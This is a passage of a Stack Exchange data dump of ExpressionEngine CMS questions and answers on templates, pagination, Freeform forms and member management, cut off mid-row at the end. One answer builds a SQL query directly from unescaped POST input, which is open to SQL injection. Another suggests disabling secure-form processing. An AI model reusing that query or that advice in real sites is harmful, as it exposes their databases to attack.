  <row Id="17179" PostTypeId="2" ParentId="17177" CreationDate="2013-11-26T18:47:44.850" Score="1" Body="&lt;p&gt;It is depended what do you want to do and how secure it must be.&#xA;If just check it by s/n - make custom from,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;/site/sn_check/&quot; method=&quot;post&quot;&amp;gt;&#xA;    First name: &amp;lt;input type=&quot;text&quot; name=&quot;firstname&quot;&amp;gt;&amp;lt;br&amp;gt;&#xA;&amp;lt;/from&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then, using &lt;a href=&quot;http://devot-ee.com/add-ons/mo-variables&quot; rel=&quot;nofollow&quot;&gt;Mo’ Variables&lt;/a&gt;, get _POST  value what user is entered and make request using &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/query/&quot; rel=&quot;nofollow&quot;&gt;Query&lt;/a&gt; module&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT entry_id FROM exp_channel_data WHERE field_id_10 = '{post:sn}' &quot;}&#xA;  {entry_id}&#xA; {if no_results} Sorry, is no s/n here! {/if}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastActivityDate="2013-11-26T18:47:44.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17181" PostTypeId="2" ParentId="17147" CreationDate="2013-11-26T20:59:30.697" Score="2" Body="&lt;p&gt;Is your site available to the outside world (system is on and no passwords or funny business preventing people from accessing your test site?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you followed the instructions here? &lt;a href=&quot;https://exp-resso.com/docs/payment_gateways.html#worldpay&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/docs/payment_gateways.html#worldpay&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to make sure the payment response URL in WorldPay is set to &lt;code&gt;&amp;lt;wpdisplay item=MC_callback&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, have you disabled secure forms? Since EE 2.7 that seems to mess up pretty much everything related to off-site payment gateways. You can disable it in the CP under Admin &gt; Security &amp;amp; Privacy &gt; Security &amp;amp; Settings by setting &quot;Process form data in Secure Mode&quot; to &quot;No&quot;.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-26T20:59:30.697" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17182" PostTypeId="2" ParentId="17163" CreationDate="2013-11-26T21:01:53.893" Score="1" Body="&lt;p&gt;Switch is the correct way to do this, on a related note the new Modulus operator introduced in 2.7.1 can also help in similar cases.&#xA;[http://ellislab.com/blog/entry/the-modulus-operator][1]&lt;/p&gt;&#xA;" OwnerUserId="173" LastActivityDate="2013-11-26T21:01:53.893" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17183" PostTypeId="1" AcceptedAnswerId="17188" CreationDate="2013-11-26T21:10:56.620" Score="2" ViewCount="157" Body="&lt;p&gt;I've built a pretty standard-fare Freeform contact-form, but have spiced things up a bit. The &lt;code&gt;entry_id&lt;/code&gt; from the JSON-response is used to fetch someone's name and e-mail, which I run through an underscore template and parse out to the user (something along the lines of &quot;Thanks John Doe, we'll get back to you shortly on johndoe@gmail.com).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I understand that this is potentially a &lt;em&gt;huge&lt;/em&gt; security risk, as all freeform-results are available through a public json-endpoint (in my case &lt;code&gt;/api/response/{entry_id}&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I go about securing this? Ideally I'd just want the system to only be able to do this once... Is there a way to set that up in Freeform?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any input would be greatly appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="195" LastActivityDate="2013-11-27T01:46:34.707" Title="Freeform Entries for single use" Tags="|solspace-freeform|json|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17184" PostTypeId="1" CreationDate="2013-11-26T21:50:09.987" Score="-1" ViewCount="1555" Body="&lt;p&gt;I'm new to ExpressionEngine and was wondering if anybody could help me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added the code:  in the header in the home index through the Design -&gt; Templates -&gt; Edit -&gt; Site -&gt; index. I then uploaded the favicon.ico to the root folder using GoDaddy's FTP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything I missing, because it's not working?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2411" LastActivityDate="2013-11-26T22:15:44.113" Title="How to add a Favicon to an ExpressionEngine website?" Tags="|file-uploads|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17185" PostTypeId="2" ParentId="17184" CreationDate="2013-11-26T22:15:29.093" Score="3" Body="&lt;p&gt;There's not one way to do this with EE. It all depends on your code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should find the section (or sections) of your site templates that have the meta tags. Then add your favicon tag there too. To make sure you have the correct path to the favicon, open the favicon link in your browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&#xA;&lt;code&gt;&amp;lt;link rel=&quot;shortcut icon&quot; href=&quot;/favicon.ico&quot; type=&quot;image/x-icon&quot; /&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-11-26T22:15:29.093" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17186" PostTypeId="2" ParentId="17184" CreationDate="2013-11-26T22:15:44.113" Score="3" Body="&lt;p&gt;If you have favicon.ico in your website root folder--i.e., so the favicon's URL is &lt;a href=&quot;http://yoursite.com/favicon.ico&quot; rel=&quot;nofollow&quot;&gt;http://yoursite.com/favicon.ico&lt;/a&gt;, then you do &lt;strong&gt;not&lt;/strong&gt; need to include a link to it in your HTML header. Browsers will automatically try /favicon.ico when they find no link in the header (and, some will try /favicon.ico even when do find a link in the header…).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you do want to include links in your HTML header, and you can just use plain-old HTML, like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;SHORTCUT ICON&quot; href=&quot;/favicon.ico&quot;&amp;gt;&#xA;&amp;lt;link rel=&quot;icon&quot; href=&quot;/favicon.ico&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that many browsers cache the favicon, and if they don't find it at first, they won't necessarily pick-up any code or image changes, right away. You can clear your browser cache, or try a different browser, to see the change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I find that Chrome is actually pretty good at picking-up changed favicons.&lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2013-11-26T22:15:44.113" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17187" PostTypeId="1" CreationDate="2013-11-27T01:09:06.947" Score="1" ViewCount="82" Body="&lt;p&gt;I created a member and member group specifically for the purpose of holding any deleted members data. Basically, when I delete a member, all its entries and comments would be reassigned to the aforementioned member.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I tried deleting via EE Control Panel Admin, I noticed that the aforementioned member is not in the select dropdown of members to reassign to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a quick check, it seems to me that the choices in the select dropdown are the ones in the same member group as the member we are deleting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to circumvent this? If not, what is the purpose of this rule?&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2013-11-27T01:22:28.250" LastActivityDate="2013-11-28T04:35:49.973" Title="Possible to reassign a member entries to a member of a different member group?" Tags="|members|delete|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17188" PostTypeId="2" ParentId="17183" CreationDate="2013-11-27T01:46:34.707" Score="1" Body="&lt;p&gt;Assuming you're submitting the form via ajax and updating the content of the existing page(?), you could skip the complication of fetching the Freeform entry data and instead take the name and email address values directly from the DOM (the input elements) instead of the POST data, then inject them into the thank-you message content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using jQuery you could use the &lt;code&gt;beforeSend&lt;/code&gt; method to store the values and display them in the &lt;code&gt;success&lt;/code&gt; method.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-11-27T01:46:34.707" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17189" PostTypeId="2" ParentId="17162" CreationDate="2013-11-27T02:16:37.350" Score="1" Body="&lt;p&gt;&lt;em&gt;Date Field Filter&lt;/em&gt; works with the &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag, so the native use of {date_heading} in {exp:channel:entries} should apply here. See the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#date-heading&quot; rel=&quot;nofollow&quot;&gt;EE documentation&lt;/a&gt;. However, {date_heading} is for &lt;strong&gt;entry_date&lt;/strong&gt;, not a custom Date field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How about PHP for this then? Basically, display a heading when the first occurrence of a year is encountered, and store it in a PHP array to avoid displaying the same year again.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $heading = array(); ?&amp;gt;&#xA;{exp:channel:entries /* your other parameters here, including Date Field Filter parameters */}&#xA;&#xA;    &amp;lt;?php if( ! isset($heading['{my_date_field format=&quot;%Y&quot;}']) ) :?&amp;gt;&#xA;        &amp;lt;h2&amp;gt;{my_date_field format=&quot;%Y&quot;} winners&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;?php $heading['{my_date_field format=&quot;%Y&quot;}'] = '{my_date_field format=&quot;%Y&quot;}'; ?&amp;gt;&#xA;    &amp;lt;?php endif ?&amp;gt;&#xA;&#xA;    // Your other code&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastEditorUserId="884" LastEditDate="2013-12-02T22:12:43.603" LastActivityDate="2013-12-02T22:12:43.603" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17190" PostTypeId="2" ParentId="17177" CreationDate="2013-11-27T02:26:16.543" Score="0" Body="&lt;p&gt;Assuming the product data (including serial number) is now imported as channel entries, how about using either the {exp:channel:entries} tag with the search:myfield=&quot;&quot; parameter, or EE's native search form?:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/search/index.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/search/index.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, if you're looking for more power in your search form, Solspace's Super Search module would allow you to search your channel entries for a serial number entered in a search form:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.solspace.com/docs/Super_Search&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/Super_Search&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-11-27T02:26:16.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17191" PostTypeId="1" CreationDate="2013-11-27T03:06:14.657" Score="0" ViewCount="344" Body="&lt;p&gt;I have several pages with pagination in my site. The paginate tags are showing and clicking on the pagination links yields proper results&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http:://test.com/foo/&#xA;http:://test.com/foo/P4&#xA;&#xA;http:://test.com/bar/&#xA;http:://test.com/bar/P10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, there is a page which has 3 segments where the pagination doesn't seem to work is intended&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://test.com/qux/lux/mux/&#xA;http://test.com/qux/lux/mux/P8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The pagination links are still generated properly. However, clicking on the pagination links always shows the first page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something wrong I am doing?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-11-27T03:06:14.657" Title="Pagination not working" Tags="|pagination|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17192" PostTypeId="2" ParentId="17187" CreationDate="2013-11-27T08:09:22.743" Score="1" Body="&lt;p&gt;You right, &#xA;the system is choose members from user group: &lt;em&gt;&quot;expressionengine/controllers/cp/members.php&quot;&lt;/em&gt; line 677 (EE 2.7.2).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$group_ids = $this-&amp;gt;member_model-&amp;gt;get_members_group_ids($damned);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In case if you will delete multi users from multi groups, it will show you users from multi groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reason? As I think same group, same rights to do the same actions. Showing all groups is make more complicated requests or you will get too big list of members. For most sites this strategy is better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You case is really exception. And tell the true - I can't find explanations for your requirements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;update&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;possible solution:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;hack the core (where you can do this I indicate at beginning)&lt;/li&gt;&#xA;&lt;li&gt;make alternative module for delete member&lt;/li&gt;&#xA;&lt;li&gt;change member group before delete&lt;/li&gt;&#xA;&lt;li&gt;if you want always assign to the same users - make ext. for hook &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/global/member_model/index.html#member-delete&quot; rel=&quot;nofollow&quot;&gt;member_delete&lt;/a&gt; (it is just a couple lines).&lt;/li&gt;&#xA;&lt;li&gt;create new user in the same group&lt;/li&gt;&#xA;&lt;li&gt;send message to EllisLab and check if they decide to change this practice&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2013-11-28T04:35:49.973" LastActivityDate="2013-11-28T04:35:49.973" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17193" PostTypeId="1" CreationDate="2013-11-27T09:48:22.623" Score="0" ViewCount="782" Body="&lt;p&gt;I'm using Freeform 4.0.11. I have a form, which i want to upload file using ajax and also check file extension validation using ajax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Except file upload field, every fields value are submitted, but i can't got attachment file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, How i can upload my file using AJAX and how to i can check file extension validation using AJAX.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYI:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Freeform 4.0.11&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ExpressionEngine  2.5.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&#xA;Jignesh&lt;/p&gt;&#xA;" OwnerUserId="2414" LastActivityDate="2014-01-24T15:51:58.887" Title="How to upload file using ajax and file extension validation using ajax in freeform?" Tags="|solspace-freeform|file-uploads|ajax|validation|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17194" PostTypeId="1" AcceptedAnswerId="17203" CreationDate="2013-11-27T09:56:06.657" Score="1" ViewCount="193" Body="&lt;p&gt;I have an artists page where i want to show next/prev from that artist&#xA;How to do that in Expression Engine?&#xA;Also: The artist is a child of a parent, and i only want the child(artist id) not parent category id. The {exp:channel:next_entry/prev_entry} tag is outside of my   {exp:channel:entries} tag&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                {exp:channel:next_entry category=&quot;12&quot; }&#xA;                     &amp;lt;a href=&quot;{path='portfolio/project'}&quot;&amp;gt;Next Project&amp;lt;/a&amp;gt;&#xA;                {/exp:channel:next_entry}&#xA;&#xA;                {exp:channel:prev_entry category=&quot;12&quot; }&#xA;                     &amp;lt;a href=&quot;{path='portfolio/project'}&quot;&amp;gt;Previous Project&amp;lt;/a&amp;gt;&#xA;                {/exp:channel:prev_entry}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this gives 12 as result because of some previous coding:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                  &amp;lt;? echo $artistid ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So i thought this would work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                {exp:channel:next_entry category=&quot;&amp;lt;?php echo $artistid ?&amp;gt;&quot; }&#xA;                       &amp;lt;a href=&quot;{path='portfolio/project'}&quot;&amp;gt;Next Project&amp;lt;/a&amp;gt;&#xA;                {/exp:channel:next_entry}&#xA;&#xA;                {exp:channel:prev_entry category=&quot;&amp;lt;?php echo $artistid ?&amp;gt;&quot; }&#xA;                     &amp;lt;a href=&quot;{path='portfolio/project'}&quot;&amp;gt;Previous Project&amp;lt;/a&amp;gt;&#xA;                {/exp:channel:prev_entry}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why doesn't it work?&lt;/p&gt;&#xA;" OwnerUserId="834" LastEditorUserId="834" LastEditDate="2013-11-27T10:03:41.740" LastActivityDate="2013-11-27T17:06:42.210" Title="How to show next/prev links for specific category" Tags="|next-prev|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17195" PostTypeId="1" AcceptedAnswerId="17196" CreationDate="2013-11-27T10:08:13.577" Score="4" ViewCount="502" Body="&lt;p&gt;Is there any way of forcing EE to remove 'dots' from the url title? As in an entry called &quot;thiscompany.com&quot; I want the url title to be thiscompanycom because other things depend on not having dots and it generally is bad practice to have it in the url (browser gets confused)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried this in the config file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$config['permitted_uri_chars'] = 'a-z 0-9~%:_\-';&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but the system won't override what seems to be a code ignitor default. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is, where do I override this in the CI core if necessary, or some other way of doing it?&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="61" LastEditDate="2013-11-27T16:38:29.417" LastActivityDate="2013-11-27T16:38:29.417" Title="'Dots' in the url_title" Tags="|url-title|codeigniter|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17196" PostTypeId="2" ParentId="17195" CreationDate="2013-11-27T10:20:07.670" Score="6" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You can use any ee add-ons which can create url_titles from another field (for example - MX *Title Control) + somethink like low_replace to remove dot's. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can replace it on JS level, you can use  &lt;a href=&quot;http://devot-ee.com/add-ons/foreign-character-extension&quot;&gt;Foreign Character Extension&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can make your own ext. using &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/api/channel_entries/#entry-submission-start&quot;&gt;entry_submission_start&lt;/a&gt; hook.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you decide to hack core: &#xA;\expressionengine\helpers\EE_url_helper.php, line 59    function url_title, after&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$trans = array(&#xA;                '&amp;amp;\#\d+?;'              =&amp;gt; '',&#xA;                '&amp;amp;\S+?;'                =&amp;gt; '',&#xA;                '\s+'                   =&amp;gt; $replace,&#xA;                '[^a-z0-9\-\._]'        =&amp;gt; '',&#xA;                $replace.'+'            =&amp;gt; $replace,&#xA;                $replace.'$'            =&amp;gt; $replace,&#xA;                '^'.$replace            =&amp;gt; $replace,&#xA;                '\.+$'                  =&amp;gt; ''&#xA;            );&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;just add new line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $str = str_replace('.', '' , $str);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2013-11-27T12:13:48.280" LastActivityDate="2013-11-27T12:13:48.280" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="17197" PostTypeId="2" ParentId="17178" CreationDate="2013-11-27T11:27:52.637" Score="3" Body="&lt;p&gt;For the &lt;code&gt;{exp:stash:get}&lt;/code&gt; tag &lt;code&gt;save&lt;/code&gt; is only used with &lt;code&gt;dynamic=&quot;yes&quot;&lt;/code&gt; when retrieving dynamic values from $_POST, $_GET  or segment arrays. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your menu it only makes sense to stash the parts of your menu as separate lists if you are re-using those values elsewhere. Otherwise, just wrap the tags that generate the menu with a &lt;code&gt;{exp:stash:set}&lt;/code&gt; with the &lt;code&gt;output&lt;/code&gt; parameter set to yes so you don't need to &lt;code&gt;get&lt;/code&gt; it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;main_menu&quot; save=&quot;yes&quot; scope=&quot;site&quot; replace=&quot;no&quot; output=&quot;yes&quot; refresh=&quot;0&quot;}&#xA;[various expensive tags that generate the menu]&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If this is a main menu then it would be wasteful to cache a unique instance for each page URI. If you need the menu markup to change to display an active state - based on the value of &lt;code&gt;{segment_1}&lt;/code&gt; for example - then enclose the relevant conditionals with &lt;code&gt;{stash:nocache}&lt;/code&gt; tag pairs to escape them from caching.&lt;/p&gt;&#xA;" OwnerUserId="289" LastActivityDate="2013-11-27T11:27:52.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17198" PostTypeId="1" AcceptedAnswerId="17199" CreationDate="2013-11-27T13:14:06.840" Score="3" ViewCount="203" Body="&lt;p&gt;I've got a entry called &quot;town&quot; with a native relationship field, the field name is &quot;parks&quot; and it relates to a channel of entries of parks! Each &quot;Park&quot; has a category too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my template i'm showing my &quot;Town&quot; entry and i want to display the related &quot;park&quot; and it's category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, i don't seem to be having much luck with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries dynamic=&quot;off&quot;}&#xA;{parks}{categories}{category_name}{/categories}{/parks}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But i've also tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{parents field=&quot;parks&quot;}{categories}{category_name}{/categories}{/parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm sure i'm just being a cretin here, any help would be lovely, cheers :)&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2013-11-27T13:33:12.780" Title="Get category name from related entry" Tags="|relationships|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17199" PostTypeId="2" ParentId="17198" CreationDate="2013-11-27T13:33:12.780" Score="4" Body="&lt;p&gt;You need to prefix the categories loop with the related field name like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries dynamic=&quot;no&quot;}&#xA;    {parks}{parks:categories}{category_name}{/parks:categories}{/parks}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is to allow you flexibility to display the parent entry's categories too, so it's quite handy.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-11-27T13:33:12.780" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17200" PostTypeId="1" CreationDate="2013-11-27T14:52:32.267" Score="2" ViewCount="231" Body="&lt;p&gt;I'm trying to use DevDemon Updater (3.2.9) to upgrade EE from 2.5.5 to 2.6.1. It uploads the ZIP file just fine, runs the backups, gets through &quot;Copying Installer files&quot;, and then stops with this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The configuration file updater_config.php does not exist.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However, looking in \third_party\updater\config, I see that updater_config.php DOES exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does this error mean?&lt;/p&gt;&#xA;" OwnerUserId="262" LastActivityDate="2013-11-27T14:52:32.267" Title="DevDemon Updater error: The configuration file updater_config.php does not exist" Tags="|updating|devdemon-updater|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17201" PostTypeId="1" AcceptedAnswerId="17236" CreationDate="2013-11-27T15:49:00.860" Score="2" ViewCount="72" Body="&lt;p&gt;i'm using the wygwam editor and i'd like to use the source button/option with my admin account. but the source button should not be visible/usable for other members. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;any idea how to do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks!&lt;/p&gt;&#xA;" OwnerUserId="2415" LastEditorUserId="2415" LastEditDate="2013-11-28T16:13:18.600" LastActivityDate="2013-12-02T16:03:21.927" Title="Wygwam source button" Tags="|wygwam|admin|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17202" PostTypeId="2" ParentId="14967" CreationDate="2013-11-27T16:56:06.200" Score="0" Body="&lt;p&gt;One option is to add &lt;code&gt;&amp;lt;meta name=”robots” content=”noindex, nofollow”&amp;gt;&lt;/code&gt; to the forum header so none of the pages on the forum are indexed. You can do that here:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;themes &gt; forum_themes &gt; default &gt; forum_global &gt; meta_tags.html&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-27T16:56:06.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17203" PostTypeId="2" ParentId="17194" CreationDate="2013-11-27T17:06:42.210" Score="1" Body="&lt;p&gt;Looks like a parse order issue:&#xA;&lt;a href=&quot;http://loweblog.com/downloads/ee-parse-order.pdf&quot; rel=&quot;nofollow&quot;&gt;http://loweblog.com/downloads/ee-parse-order.pdf&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use an embed or probably also &lt;a href=&quot;http://devot-ee.com/add-ons/stash&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Stash&lt;/strong&gt;&lt;/a&gt;. I can't tell you how with Stash but here's how with an embed:&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In main template, change the next/previous code to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;includes/prevnext&quot; id=&quot;&amp;lt;?php echo $artistid ?&amp;gt;&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;*&lt;/em&gt; update &quot;includes/prevnext&quot; to your actual template name.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Then in the &quot;includes/prevnext&quot; template, use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:channel:next_entry category=&quot;{embed:id}&quot; }&#xA;   &amp;lt;a href=&quot;{path='portfolio/project'}&quot;&amp;gt;Next Project&amp;lt;/a&amp;gt;&#xA; {/exp:channel:next_entry}&#xA;&#xA; {exp:channel:prev_entry category=&quot;{embed:id}&quot; }&#xA;   &amp;lt;a href=&quot;{path='portfolio/project'}&quot;&amp;gt;Previous Project&amp;lt;/a&amp;gt;&#xA; {/exp:channel:prev_entry}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-27T17:06:42.210" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17204" PostTypeId="1" CreationDate="2013-11-27T17:25:38.887" Score="0" ViewCount="254" Body="&lt;p&gt;I have a grid field (EE 2.7.2), within which is a relationship field. I want to output the categories associated with the related item within the grid field. Is this possible? I thought this might work, but it might be a step too far, tag-nesting wise:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{organisation}                                     &#xA;    {organisation:related_organisation:title} {!-- outputs related entry title, yay! --}&#xA;&#xA;    {!-- this doesn't output anything --}&#xA;    {organisation:related_organisation:categories}&#xA;        {category_id}&#xA;    {/organisation:related_organisation:categories}                                                                         &#xA;{/organisation}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="871" LastActivityDate="2014-01-15T23:54:31.940" Title="Output categories of related entry within grid field?" Tags="|categories|relationships|grid|" AnswerCount="1" CommentCount="1" ContentLicense="CC 